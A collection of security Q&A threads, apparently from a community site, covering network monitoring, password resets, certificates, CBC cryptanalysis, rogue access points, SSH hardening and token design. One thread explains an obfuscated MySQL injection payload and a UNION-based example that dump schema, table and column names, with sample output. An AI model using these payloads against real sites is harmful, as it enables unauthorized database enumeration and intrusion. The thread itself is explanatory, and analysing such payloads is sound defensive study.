Security onion only Seeing broadcast traffic and its own traffic I am attempting to test my new security onion install. I have it set up on a static IP Ethernet adapter in a virtual machine with an IP of 10.0.3.47

When I go launch Sguill, it seems to work well enough, but it only sees traffic broadcasts to everyone and traffic going to 10.0.3.47 or from 10.0.3.47. The virtual machine was set up to accept all promiscuous traffic, but since then I have directly connected an Ethernet over USB with PNP Linux support. I also have another desktop connected via bridged Ethernet with Kali Linux on it and when I launch Wireshark on that machine, I have the same result. Any ideas on what I am doing wrong, or how I can fix this?

How are these all connected? If you're using a switch, this is to be expected.

On a switch you'll only see traffic destined for your own segment.

Typically for messing around with Security Onion in a home environment, you're better suited replaying some of the included pcaps to simulate traffic since not everybody has a switch with a SPAN port or a bunch of taps laying around.


Can you securely wipe an SSD by filling the remaining space with bogus data? It's been established that, thanks to our good friend Mr. Wear Leveler, wiping data from an SSD is very difficult.  I understand that the one thing you don't want to do is actually attempt to shred files or zero out the drive.

However, what if I wrote some simple program code to get the amount of free space left on an SSD then write a single file full of useless bits to the drive?  So, if there are 90 GB of free space, I write a 90-GB file to the SSD.  There would be no room to shuffle space around because all of it would be needed.

How would this work?

Hard drives have a feature called Secure Erase you should use for this. It can vary across different hard drive manufacturers, so you may want to look up the Secure Erase feature for yours. This will wipe the entire drive. SSDs don't reliably write to the same location on drive so "shredding" doesn't work.


Password reset link vs Temporary password Which is harder to exploit:
Password reset link with tokens/timestamps/code/ticket etc
Or, temporary password sent on user mail using which login can be done and password can be changed.

Any suggestions on how they can be exploited please?

I an not sure how to directly exploit the Password reset links but the link pattern can be definitely used for Phishing campaigns.
However for temporary passwords I feel that their strength depends on how guessable they are and how strong the password generating algorithm is. If they are random like OTP, there might be issue of randomness.


If email is insecure, why do we use it for password resets? I found myself telling a coworker today "Email is insecure, that's why we developed our secure report application."

But then it struck me, Why is email considered insecure? If it is so insecure, why do we trust it for password resets?

I never questioned it before...

We trust email for password resets because we do not have anything better. It is not really a matter of trust as in "we have full faith in the email"; it is more like "eh, as if we had a choice...".

In particular with Web-based business with consumers: a consumer is authenticated by his dynamic IP address (cannot be used except as part of a police operation with warrants to uncover the ISP logs), possible credit card details (idem), and whatever the customer accepted to tell us, which, at best, is a valid email address. So, email.


Is it possible to Spoof a TeamViewer ID? I am using 2 forms of remote access to my Windows Server 2008 machine, both go to the Admin account since we only use it to host a Minecraft (MC) Server.

Remote Desktop, that goes over a custom port instead of standard, which has a scope to only allow connections from certain IP addresses, and of course the hardware firewall doing the same thing.

Teamviewer (up-to-date), which has a whitelist, does not accept connections with a random password, and has a password if you want to change settings in TV.

My question is, Is it possible to spoof your Teamviewer ID and gain access to a Teamviewer enabled machine?

This is because as a MC server, we attract a lot of Skiddies, and had few DDoS/DoS attacks  and hacking attempts before, and we want to make sure no one can damage the machine itself.

I considered also scoping the Teamviewer App in Windows firewall, and scope the hardware firewall to certain IP addresses too, but the reason we have TV is to gain access when we are NOT at home, thus connecting from different IP addresses each time, so that would not be a move we want to take.

Are there any more things I could do to protect myself from unauthorized server access? We do not host anything else than the MC server, and the only apps that are not blocked by our firewall are a few plugins for the MC server, MC itself, the browser, TV, remote access and windows updates, the rest is nailed shut.

To the best of my knowledge the TeamViewer ID is provided by the TeamViewer servers.  The attacker would have to emulate the entire TeamViewer protocol in order to spoof the ID.  They would have to act as both the TeamViewer servers in the middle, as well as connecting client itself in order to make your system believe that it was a legitimate TeamViewer connection.


Should I run KeePass as administrator? If I run KeePass as a normal application, any other application (e.g. browser) can do code injection and get my passwords.

However if I run KeePass with admin rights, my browser cannot get into it.  Not even get the master password with keylogging, nor modify the Program Files folder.

Am I missing something here?

Assume that I'm running a non-discontinued Windows OS (e.g. Win7 and not XP) and I have an antivirus software installed. User account has admin privileges.

Running KeePass (or any other application) as administrator changes the integrity level.   Objects of the same integrity level can potentially interact and modify each other, but an ojbect of a lower integrity level cannot modify an object of a higher integrity level.  If you start your browser and KeePass both as a normal user, the integrity level of both will be set to "medium".   If you start KeePass as an administrator, however, its integrity level will be set to "high" and its resources will be protected from processes that have lower integrity levels.

So, does this mean you should run KeePass as as administrator?  To some degree it depends on your threat model.   The general wisdom would hold that you shouldn't run with more privileges than are necessary, and if an attacker has the ability to arbitrarily modify running processes on your machine, you've already lost anyway.  Unless you have very specific threats you face and you can articulate the reasons these threats put you at greater risk by following the conventional wisdom than by going down an alternate path, I would say that no, there is not such a significant security benefit to choosing to run as an administrator instead of a normal user that it would clearly justify it.


Should updated CRLs be published even if no new certs have been revoked? Should a CA publish updated CRLs even if they did not revoke any certificates? And what will happen if the latest CRL is older than what allowed in default_crl_days when the certificate was generated?

Regards.

Yes, CRLs must be reissued periodically in all cases. Even if no certificates were revoked. This is because CRLs have validity period with specific end of validity date determined by Next Update (or NotAfter) field. You must publish new CRL prior to that time.

If the CRL is expired, certificate chaining engine will reject that CRL and report RevocationOffline error.


Understanding SQL injection payload My server was hit by the following SQL injection payload:-

((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))

What does (@) and (@:=0x00) stand for in this payload?

for standalone execution, the above payload must be executed as:-

select ((/!12345sELecT/(@)from(/!12345sELecT/(@:=0x00),(/!12345sELecT/(@)from(InFoRMAtiON_sCHeMa.ColUMNs)where(TAblE_sCHemA=DatAbAsE/data/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a));

The payload had the syntax error.

What does (@) and (@:=0x00) stand for in this payload?

@ - is the variable name
@:=0x00 - is the assignment of zero into this variable.

Note: := is the assignment-operator

Thanks for @Frank Cedeno and @strnk for their Q&A in the comments.

  @Frank Cedeno - How /!12345sELecT/ becomes select?

  @strnk - This is a MySQL-specific extension to SQL comments, the sELecT is only included in the query if the server version is greater or equal to 12345 (1.23.45), so it filters-out non-MySQL servers

More Info:

From websec sql_injection:

Retrieving Multiple Tables/Columns at once

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Example:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Output:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

This Stackoverflow answer explains the SQL code:

  First of all i would make the query a litte bit more readable by
  reformatting it:

1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);

  The assignment of @ is as follows:

  In Line 3 it gets the value 0x00 (Decimal: 0)
  In line 5 this value is used for the greater than (table_schema >= 0)
  Line 6 is a way to concat each schema, table and column name into @
  @ is returned in line 1 and contains a concatenated list of your structures

  In line 6 an additional <br> (0x3C,0x62,0x72,0x3E) is added to the
  variable to make the output more readable


rate limiting and access filter for web application I had a requirement of rate limiting and dynamically access controlling access to web application dynamically

I want to be able to rate limit access turned on / off dynamically
black/white list certain IP dynamically
certain request pattern needs to be blocked (this decision needs to be taken dynamically)

for each of these part there are solutions out there (mod_evasive for apache, nginx rate limiter, or even mature at firewall layer

however not everything is dynamic (some services needs restart)

any one has any experience around using such tool that solves these needs efficiently

last resort is to write one

Assuming you're running a Linux system, have you considered iptables?

Basically, you could use something like:

iptables -A INPUT -p tcp -dport 80 -m limit --limit 20/second --limit-burst 50 -j ACCEPT

And use some tweaks to whitelist/blacklist. This way you won't have to restart any service.
See this resource or this one, and This anwser on unix.stackexchange.com for further informations.

If you're not running linux, I'm sure pf can also do that.


SSL is Extended Validation more secure? Talking about SSL certificates, there are 3 types.

  Basic validation
  Business validation
  Extended Validation

The first one checks only if a domain name is registered for the user which issues the certificate.
The second one also requires information about the company.
The last one checks the physical location of a company.

My question here, do the 2nd and 3rd option make the connection more secure? Because our users know the domain is ours (100% verified with them) and they all contain a 128-bit encryption.

Will the 1st certificate be enough for us, or do you recommend the 2nd? I consider number 3 an option for banks.

A certification authority is supposed to verify the identity of whoever request a certificate before issuing (signing) that certificate; a certificate containing the name www.example.com shall be awarded only to an entity who indeed "owns" the domain example.com. An Extended Validation Certificate is a certificate where the CA made that identity verification more thoroughly.

Theoretically, this extra validation makes it harder for attackers to obtain fake certificates for domains that they do not own. In practice this does not really increase security for two reasons:

This extra validation will block attackers only if end users enforce it. Namely, you could buy an EV certificate for your server, but the attacker, supposedly, will only be able to bamboozle the CA into issuing a fake non-EV certificate. So what ? The attacker will run his fake Web site with the fake non-EV certificate. Nothing has changed, unless the end user (the poor guy who is about to see his bank account siphoned out) makes sure that he connects only to an EV-certified bank site, and refuses to type his password if his browser does not show the extra-green thingy. Real users don't do that. At best, most users will abstain if they get an explicit, red, scary warning; but expecting users to react on the simple lack of a green rectangle is too optimistic.
Phishing, as it is done today, does not use fake certificates. Obtaining a fake certificate is too much trouble. 99% of the phishing is about showing a non-SSL site (http://, not https://) to the victim, and hoping that the victim won't notice. It works well. After all, if the phisher can plunder the bank accounts of only, say, the 10% most gullible victims, then... the phisher still gets rich.

Peter Gutmann calls EV certificates an illustration of the PKI-me-harder effect; the main consequence is that commercial CA can charge more for certificates, in the name of better solving a problem that we did not have before.

The end user is the important element here. You will need an EV certificate when (if) end users begin to require the greenish graphical element, and go spend their money elsewhere if they don't see it (and, at that point, it would become non-ridiculous to claim that EV certificates actually increase security). I don't see such things happening any time soon. Unless browser vendors collude with the big commercial CA to make non-EV certificate appear red and scary.


Anonimization of registered users I will first describe how my site stores user information. Every personal information is first hashed by Sha1. The hashed string is then subtracted by substr($var, 2, 38) and then stored.

This includes all information on my website (email addresses used for login and password resets, passwords, IP addresses) except comments, which are stored in plain text.

Is this enough to consider my users anonymized (to me and to everyone else) even though they are registered under bits of strings that look like a set of random numbers and characters? Or is it still pseudonymization?

If so, what can I do to make users anonymous but still registered (required to login)? Is it even possible?

Most people consider being anonymous to be a state in which who they are could not be determined using reasonable means.

If your site doesn't log where a user comes from and does not ask for an email address or phone number to confirm identity most would consider content posted to be anonymous in the context of the site.

If the system goes a step further and is only accessible by methods which defy normal traceability, such as over TOR, that goes a step further in ensuring anonymity.

The users ability to unmask themselves in their own content does not diminish the systems claim to be anonymous.


DES-CBC: Two ciphertext blocks c2 and c5 are equal. Why would this leak information? Here, suppose that we were able to observe the ciphertext that we know had been encrypted in CBC mode, then how knowing of c2 and c5 ciphertext blocks would leak information ?

My professor asked us in the class and told us to think about it and gave us hint what would happen if we knew one of the plaintext blocks m2?

Lets think about this:

Ek = cipher "E" with key "k"

M# = Plaintext message block "M" number "#"

C# = Ciphertext block "C" number "#"

CBC mode is:

Cx = Ek(Mx XOR Cx-1),  or in english:  To get the cipher text for the current block number, you perform the keyed encryption of the value obtained by taking the plaintext message block of the same number, and xor'ing that against the previous numbered ciphertext block.   That's the definition of CBC.

So if you have a series of CBC encoded blocks, and you realize that C2 and C5 are the same cipher text  (ie, C2 = C5), you know:

C2 = Ek(M2 XOR C1)

C5 = Ek(M5 XOR C4)

And since C2 = C5, that means:

Ek(M2 XOR C1) = Ek(M5 XOR C4)

By the power of the maths, that means more importantly that you ALSO know:

AHA!:

(M2 XOR M5) = (C1 XOR C4)

Since you have been observing the ciphertexts, you not only know that C2 is equal to C5 but you've also captured C1 and C4 in your observations.

So you calculate (C1 XOR C4) and you have a value, which means you have a real number and not a variable on the right side of the equation marked "AHA!!".

That value is equal to (M2 XOR M5), as noted above.

So under your hypothetical, where your professor says you ALSO know plaintext M2, you are able to plug that in on the left side and solve.

You know that your known M2 XOR'd against your still unknown M5 equals the known value you calculated by taking the XOR of C1 and C4.

Back to basics.  The magic of XOR is this:

If A XOR B = C, then B XOR C = A,  AND A XOR C = B.

That's how RAID disk arrays with three disks work, by the way.

Result:  Duplicate ciphertexts in CBC combined with a known plaintext corresponding to one of the blocks permits to you calculate the plaintext of the other matching ciphertext block.


Tracking down a rogue access point Over the course of about a month we have received multiple reports of a rogue access point attempting to intercept traffic.  I suspect an attacker is using a wifi pineapple, or similar hardware device.  They seem to be enabling it for short periods of time and then disappearing before we have time to react.  When this attack pops up again I want to be able to react quickly and have them arrested.

What is the best way to confront this threat?

The general ways that a rogue access points are found:

An enterprise wi-fi access point spends some of its time not just serving clients, but listening on various channels for other wi-fi traffic. (This works best for the 2.4Ghz band where there are fewer channels. Fortunately this is also where most run-of-the-mill, non-targeted attacks are going to be. You can also use a dedicated sensor instead of an AP. You can also configure one radio of a two-radio access point as a full-time sensor radio.)

This information is typically reported to a centralized system (a controller, the controller-managing software, etc) through some mechanism (snmp trap, snmp polling, proprietary notification protocols, etc). You could probably write a centralized system yourself if you really felt like it, though in practice third-party interfaces with wireless equipments' SNMP can be a little bit hit-or-miss, and the data is not available in any standardized format. There are also patent-related implications, such as this one which is the one that I happen to know about.
The central system will perform checks to see whether that BSSID belongs to a known, valid access point that belongs to your organization's network.
The central system will analyze the reported rogue for security. (For instance, a rogue access point broadcasting MyCorp's SSID on an open network is a threat to MyCorp employees, but something broadcasting a different SSID, e.g. PANERA or NEIGHBORCORP-GUEST, or a peer-to-peer wifi connection, might not be a threat.)

Devices in the packet path, such as wi-fi controllers, can try to see if they have seen a MAC address on the wireless network which is also present on the wired network in an unexpected way. If they do, that's a sign that the wired network has been connected to the atmosphere, and you know what controller port it is connected to.
An active scan can be run on the organization's network, requesting web pages on port 80 or 443, and/or running a tool such as nmap, to look for indicators of common consumer-grade networking equipment (e.g. a Linksys login page).
The wired infrastructure (switches, routers) can be polled for bridge forwarding tables, which contain MAC addresses. These MAC addresses can be analyzed to see if they belong to an OUI of a manufacturer of wireless network equipment (e.g. Linksys).
You can install software on your organizations' laptops or other computers that report back many of the same types of information that the access point would detect (SSID/BSSID lists, etc) and report those to the aforementioned centralized system, or report what SSID the computer is actually connected to. It helps to be able to tell whether that laptop is in the office at home, or you'll potentially see many other access points.

Actions that can be taken against these devices include:

shutting down the network port at the switch (if the attacker is on your network)
forging 802.11 packets to disassociate clients from that access point, especially for wireless clients which your system recognizes as belonging to your organization (often called something like "rogue containment")
using a network-visualization tool that can trilaterate the location of the rogue access point from its signal strength (as reported by your access points) and your wifi network layout, then walking to that location and finding it in person

or using another signal-detection tool to track it down

The top 3 enterprise wireless vendors (Cisco, Aruba, Motorola) will all offer a wireless IPS with several or all of these capabilities, and some smaller vendors do as well. This is one of the many reasons they're more expensive than your cheap home Linksys wifi router.


Efficiently handling malicious, single connection attempts to a server? I wanted to know what efficient way is there to handle malicious attempts to connect to my server by single IPs. The attempts show up logged in /var/log/auth.log as Connection closed by IPaddress port XXX [preauth].
Additional info about sshd_config:

Password login is disabled
MaxAuthTries 3
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no
DenyUsers pi admin ubuntu

The question's first part is: should I even bother to block these attempts?
There is a different IP attempting a single connection every few seconds.
I can handle the ones that try to login multiple times I think, but the sheer number of single connection attempts seems to be a bit of a pain in the neck.
One condition would be that I don't want to whitelist only certain IPs for ssh connection to the server.
Now if I should block these attempts, I'd love to have some suggestions about how to handle that (apart from fail2ban please).

Server Use:
The server is used in two ways:

I run scripts on it that don't necessitate internet connection (basically I'm just offloading the work that I could do on a local machine to the server to run in 24/7) - i.e.: Data Analysis scripts
I run some scripts that actually use internet connection. These connections are made to some APIs, but can also involve scraping websites.

What I intend to clarify about this is that, there is no website/API/etc hosted on this server, so connections should really not be made to it.
That is connections except for me. I usually connect through the terminal to edit files that is : scp or ssh connections.
Why not whitelist my IP? I travel a bit, or at least move around, so it would be a bit too difficult to add all the IPs, keep track of them etc. (Or knowing them in advance could be impossible or too burdensome.)

... should I even bother to block these attempts?

If you are sure that none of these attempts will ever succeed (for example because password based authentication is not allowed anyway, only key based is active) then it is not strictly necessary to block these. In the spirit of defense in depth it would be nice though to limit or even stop the attempts.

I'd love to have some suggestions about how to handle that

In general: everything you do to harden the access might impact your own usability and their is also some costs (time is money) associated with setting it up and maintaining it. So you need to find the personal balance between security measures and usability and costs. That said, here some suggestions:

Limit the connection attempts per time to reduce how much connections SSH has to handle in the first place. This might slow down the attempts. See Limit max connections per IP address and new connections per second with iptables.
Setup the SSH server on a non-standard port. The common scanners will focus on port 22 and will not check every possible port for an SSH server. It is still possible to additionally listen on the default port 22 but with a strict limit on connections per time to confuse scanners.
Use something like port knocking to enable access to the port only after some secret port sequence was "touched". A similar concept is Single Packet Authorization where access to the SSH port is only enabled after some "magic" packet was send.
One can explicitly blacklist certain IP addresses or ranges (like Tor exit nodes) or use a more generic blocking based on the geographic location of the sender.


Using Refresh Token inside of Access Token without HTTPS I previously read that Access Token must be sent with every request to the API
but Refresh Token must be sent ONLY when the Access Token expires.

I'm trying to use a similar model to the conventional model, where the Access Token is JWT,
but the Refresh Token is just a random unique string (stored on server)

so the Access Token JWT claims looks like this:

{
   "user_id": "user123456789",
   "refresh_token": "A9t2G8eH8j2QW2j9U",
   "exp": 154922000
}

When a client sends a request to my API, the Access Token (JWT) will be sent to the server. If it is expired, then a new Access Token will be sent to them with a newly-generated Refresh Token alongside the HTTP Response of the requested resource (after doing some validation).

This way:

The client only needs to securely-save and send one JWT Token instead of two, with their requests.
The client doesn't have to make a second request just to refresh their Access Token in case if it's expired. (No 401 HTTP Response).

  Request with valid AccessToken => (Response with the requested resource)

  Request with expired AccessToken => (Response with the requested resource + New AccessToken)

The problem here is that the Refresh Token (random unique string) is being sent with every request over the wire in plain text, and I can't want to force my clients to use HTTPS only.

but then again, even in the "conventional model" the Refresh Token will be sent every X period of time, and a packet sniffer will be able to steal it easily if the connection wasn't over HTTPS

Am I missing something here? Is my model flawed? Or is the conventional OAuth model must be strictly used over HTTPS? Is forcing HTTPS is my last resort?

I will quote parts of the question and try to answer them.

  I previously read that Access Token must be sent with every request to
  the API but Refresh Token must be sent ONLY when the Access Token
  expires.

No, the refresh token is not supposed to be sent to the API. A refresh token is sent to the authorisation server to obtain a new access token.

  when a client sends a request to my API, the Access Token (JWT) will
  be sent to the server, if it's expired, then a new Access Token will
  be sent to them with a newly-generated refresh_token alongside with
  the HTTP Response of the requested resource (after doing some
  validation).

This defeats the whole purpose of a refresh token. The idea for a refresh token is that to keep access token lifespan shorter (to minimise the time available for reusing access token in case of a disclosure). When an access token expires, the access should be rejected outright. Also, issuing access and refresh tokens is the responsibility of the authorisation server not the resource server (your API).

If you prefer to use only a single token, you should take a look at the OAuth2 implicit flow. In this flow, only the access token is issued and you don't have to deal with a refresh token. However, this means that every time the access token expires, you need to redirect the user to the authorisation server to obtain new access token if required.

  is the conventional OAuth model must be strictly used over HTTPS? Is
  forcing HTTPS is my last resort?

Yes, you must use HTTPS. Tokens must be protected in transit as well as in rest. A leaked token means that the attacker will have access to your resource server.

I heavily recommend to read RFC 6819 that explains the OAuth 2.0 threat model and different security considerations.


How can one secure a password/key in source code If there is a need for source code to have a password in it, how
  should this be secured? This is purely an example, but say there is an
  app that is using an API, and you don't want to expose your API key,
  yet you need to have it in the source code, because it is used. How do
  you effectively have a string that the user cannot retrieve yet can be
  used. Does not seem possible without asking the server for the string.

RE: Why can we still crack snapchat photos in 12 lines of Ruby?

Short answer: you can't.

You can't never protect a password that you are distributing. You might hide it between some strings and use other operations to "cover" the password but, in the end you will have to put it all together to make your function to operate. And here is where the cracker is going to take it.

There is no easy way to solve this problem and usually it means that you have not chosen the best security scheme or, if you feel it is enough, maybe it means that you just don't need this kind of security.

And if you really, really, really need to do in that way you will have to go with "security by obscurity" after all, the longer it takes to be cracked, the better. You better have some detection system for when this happens.

As an example, consider the gaming industry all these years with their copy protections and so on, if there would have been a way to achieve security within the code itself that would mean the end of "piracy".


Can an OpenPGP certificate be imported into Windows Certificate Manager? I have a clearsigned .gcode document that I would like to be able to deploy through the Windows Certificate Store. Is this possible? If not, are there any good alternatives?

No, you can't. The Windows Certificate Store has no support for OpenPGP, but relies on X.509 certificates. OpenPGP and X.509 certificates use a different format, although the underlying cryptographic principles are pretty much the same.

If you need to support the Windows Certificate Store, use X.509 certificates. Very likely your use case will require one issued by an already included certification authority.


How can a website find an IP behind a proxy using DNS methods? I read a whitepaper from Iovation in which they discussed unmasking the
IP behind a proxy.

  "The method wherein the connecting host is an anonymizing proxy or
  intermediate device, measuring inconsistencies in Geolocation of the
  connecting host IP Address and the IP Address of the DNS name server
  accessed by the client.The connecting host is caused to request a
  resource on a unique domain name meaning the domain name is different
  for each visit which will force the client's DNS server to connect to
  the domain owner's DNS server which the fingerprinting device has
  access to".

Another method I read on Stack Exchange is

  "If you control the DNS server for your domain then you can see all
  requests coming in. By creating a unique subdomain address for each
  visitor and embedding it somewhere in the HTML, you can check the
  client's real IP on the DNS server."

What are the countermeasures for the methods discussed above?

Make sure you use the proxy provider DNS or just set your system DNS to Open DNS or Google DNS.

Open DNS: 208.67.222.222 and 208.67.220.220

Google DNS: 8.8.8.8 and 8.8.4.4


Password security and entropy - degeneracy question I have written a short password generator which uses a mixture of words from a dictionary and randomly generated passwords, and I'm wondering if I did the entropy calculations correctly. Usually I use my generator to generate passwords that are easy to enter in situations where I can't copy+paste from a password manager, so the passwords generated tend to be made up of several words plus a short randomly generated password, e.g. lDX`htS!splenectomyfrenate.

To avoid bias, I tend to generate them such that the process has a known entropy, so the above password was generated using the rule "Give me a password with at least 80 bits of entropy, using an 8-character random password plus randomly selected words to make up the difference".

My question is, using a strategy like this, do I have to take into account the degeneracy that comes from the fact that you might be able to generate the same password via two paths? E.g. If my dictionary consisted only of: "sparks", "spark", "steam", "team", then if you generate a 2-word password by just concatenating words from the dictionary, sparksteam is going to be over-represented in the output, because it can be made from "spark" and "steam" or from "sparks" and "team".

I'm thinking this is likely to be just a very small reduction in the actual entropy of the passwords, with a sufficiently large word list, but is there a well-known way to account for this sort of degeneracy without actually enumerating all possible combinations and looking for collisions? Am I off-base in even thinking that you'd need to?

There are many ways to calculate entropy in this situation and not all of them are in your favor.  Depending upon your commitment to true entropic randomness and your level of paranoia, I think word concatenation is the least of your problems.  For purposes of analysis, I'm going to assume the password example you gave above is standard for all types of passwords you create (8 complex password characters + N words containing 18 total characters -- or 26 total characters).

Method 1

Assume every character in your resulting password contributes entropy to the result. Furthermore, every character may be within the range [33..126] or 94 possibilities. In this analysis, total range of passwords is 94^26 or 2*10^51. That sounds really big, and it is. However, I'm not sure that's your password range. We could stop here if we believed that an attacker could only guess from the complete range. You already know dictionary attacks are possible. Let's look at the next method.

Method 2

Really, only the first 8 characters are in the complete range, the remainder (if I can guess your word component) is only lowercase, so 26 characters. This gives us a lower upper limit on your range of passwords: 94^8 * 26^18 = 1.8*10^41. That's still pretty big, but we're not done, yet.

Method 3

Let's look more closely at your password structure.  The first section is the only one that can have the full 94 characters, so for that we have 94^8 or about 10^16. For the second section, should we count the letters as part of the range of your passwords? I suggest they don't count, and instead we should use the total word range from which you choose and the number of words. Why? Think of the words as unique symbols rather than the characters. Your second section will never have the sequence "xxyqrzt" because there's no word that looks like that. Really, your second section follows a specific structure and that structure is determined by your dictionary. I'm going to assume 100,000 words in the dictionary, although you might only have 10,000 and that they are all lowercase. Now, the second section range is (10^5)^3 - I'm assuming three words to get to 18 characters. Our new upper bound for the password range has dropped to 10^31. Still, pretty big. We're done, yet.

Method 4

OK, so this one requires us to go a bit deeper on entropy calculations across the range of passwords and then do the proper entropy calculation for your situation.

First off, password range and entropy are not the same thing, although they are related. To get the entropy of a password (or any information), we need to take the log of it's possible range. We should use base 2 for our log because it's easier and computers use it, too.  In this case, we have the following entropy calculations for each of the above methods of analysis.

Log_2(2.0*10^51) = 2^170 or 170 bits
Log_2(1.8*10^41) = 2^137 or 137 bits
Log_2(1.0*10^31) = 2^103 or 103 bits

It's easier to think of entropy in terms of bits.

Here's the thing. You've now published your password generation algorithm. Also, security through obscurity is not really security, so theoretically or practically, someone could discover your algorithm. In that case, the only real security for your system, the only real entropy introduced is the seed for your random number generator. If you're not using a secure RNG or a securely seeded PRNG, you've already skewed your password distribution.

What this means is that to get the full effect of your password entropy, you need to introduce at least 103 bits of true random seeding to your random number generator to select from the complete range of passwords available from Method 3.

I suspect you aren't doing this (or, at least haven't, up until you read this). So, if the RNG you use seeds itself with current time or process ID or MAC address or IP address, you might have a lot less entropy than you realize.  The entire MAC address, IP address and time don't count because most of the bits therein aren't really random, they can in fact be known. Think about it. The difference between now and a few seconds from now is only a few bits of data.  If I can guess when you generated the password, it might be NO bits of data. You might only have a handful of bits, perhaps no more than one dozen.

That would be a range of passwords of about 2^12 or 4000.  More passwords than you'll ever need, however, you'd never know the range was so small because the passwords look so big.  You can't generate more entropy from less entropy in this situation.  If you don't believe me, test it yourself by running numbers from the range [1...4000] through SHA1.  The results look really random.  However, that's it for your hashes - 4000 only.  None of the other potential SHA1 hashes are available to you because you're limited to inputs between 1 and 4000 inclusive. In this case, the entropy of the range is still 12 bits even though it looks really large. Looks can be deceiving, especially to humans.

So, forget all of your fancy analysis and multi-word fears. Instead, figure out how to get true randomness into your RNG seed.  Go look up the body of research on proper RNG seeding. It's fascinating and it's really, really hard to do!


Another domain pointed to my server, what are the risks? I recently had another domain point to one of my servers. After adding some nginx configuration I was able to mitigate this. My server now throws a 404 in this scenario.

My question is what are the risks when another domain successfully points to your server?

There are a number of risks, for both you and (assuming it was a mistake) the domain owner.

For you, it means at least exposure. In some cases, that can mean more DDOS attacks. If the domain owner had some issues with hackers, that may come to your website too.

If the domain that erroneous points to you is blacklisted somewhere, that blacklist could in some circumstances extend to your IP address (depending on who does the blacklisting).

It is possible that some DNS registrar contacts you with an invoice. You should not need to pay that, but it is again an annoyance.

That is more or less the list of risks I can think of.

For the domain owner, it effectively means that you are now in a position to do a MITM attack on him. For him, that is a serious risk. The domain owner should at least be grateful for your 404-serving approach.


How to mitigate the risk of X forwarding? I want to use X forwarding in my work because some tasks are just easier with GUI. I trust the administrators not to be malicious, but I don't trust their competence in security (almost nil). Hence the machines I ssh into are not that reliable.

So what measures can I take to minimize the risk of X forwarding, except for not using it?

There is a rather extreme measure, which should work: run a virtual machine on your side. That machine will power some minimal Linux system with X11. You do the ssh from that machine. That way, if the worst happens, the evil people on the remote machine may compromise your virtual machine, but just the virtual machine.

(Beware of "guest additions" from the VM: this is the kind of extension included in the guest system so that things like copy-paste work between host and guest; such a system may help a compromised guest X11 obtaining information from the host X11. Don't install such extensions. For extra safety, deactivate support for guest additions in the VM engine.)

A lighter version involves Xnest: it is a X11 server that uses for its display a window within an outer X11 server. This will be enough to protect your other applications from X11-based attacks (e.g. sending synthetic events), but not if the attacker succeeds at compromising the connected X11 server through some buffer overflow or a similar hole.


How to determine if software on many client machines is up to date? I have to take care of 200+ client machines (mainly Windows 8,8.1, 10) in an organization. There are many apps installed: web browsers, Java, Flash & many more.
Are there any tools/techniques to check which machines have outdated software, for example vulnerable Java, and to get regular reports of the machines that needs update?

There are several classes of tools that can do this.

You may want to look at using a vulnerability scanner that can run authenticated scans where it logs in and can scan the local filesystems & configurations rather than just scanning the services listening on the IP addresses on the network.

Continuous Integration and Continuous Deployment (CI/CD) tools can gather most of the same information but also help you with making the updates to these systems.

You may find that the best solution for your environment is to use multiple types of tools too.


Is the following authentication scheme secure? I was trying to design an authentication system that would make it much harder to guess a password via brute force, and reduce the risk to a user if the hashed password was stolen through a snooping based attack. Also, since my client side code will be easily view-able by those wishing to see it (it is in an interpreted language, however, I do encrypt and obfuscate the distributed client), I wanted to be able to prevent an attacker looking at the source to impersonate a user easily. Security through obscurity is NOT security.

Here is the algorithm I thought up. I wanted to submit it to public examination because cryptography algorithms always work better when subjected to as many opinions as possible, IMHO.

(All hashes are computed with the SHA-2 and a 512 bit block size. This algorithm is not known to be vulnerable to any collision or pre-image attacks, and is a secure cryptographic hash function.)

[CLIENT SIDE]

The user provides an any-character/symbol/number username less than 30 characters and an any-character/symbol/number password that is between 8 and 200 characters long.
The username is hashed.
The hash of the username is added onto the end of the users password as a salt.
The salted password is hashed, and then that hash is hashed.
The current date and time are requested from the authentication server, and are then hashed.
The hash of the timestamp is added to the username/password hash as what I'll call a 'time dependent salt'. This last combination is then hashed to produce the final authentication hash.
The username, the timestamped hash, the salted password, and the time used to generate the time dependent salt are sent to the server via a TLS/SSL connection.

[SERVER SIDE]

The server verifies that the recieved timestamp is in the last minute. If it is not the server will indicate that the authentication failed.
The server hashes the username/salted password and compares that against the stored database salted/password hash. If they do not match the authentication fails. (To clarify, the server has a hash of salted password hash. It verifies that against a hash of the salted password hash given by the client.)
The server calculates a hash of the timestamp sent by the client.
The server hashes together the generated timestamp hash and the salted password hash to form the authentication hash.
It compares the authentication hash it produced with the authentication hash sent by the client. If they are the same, it reports authentication. Otherwise it reports a failure to authenticate.

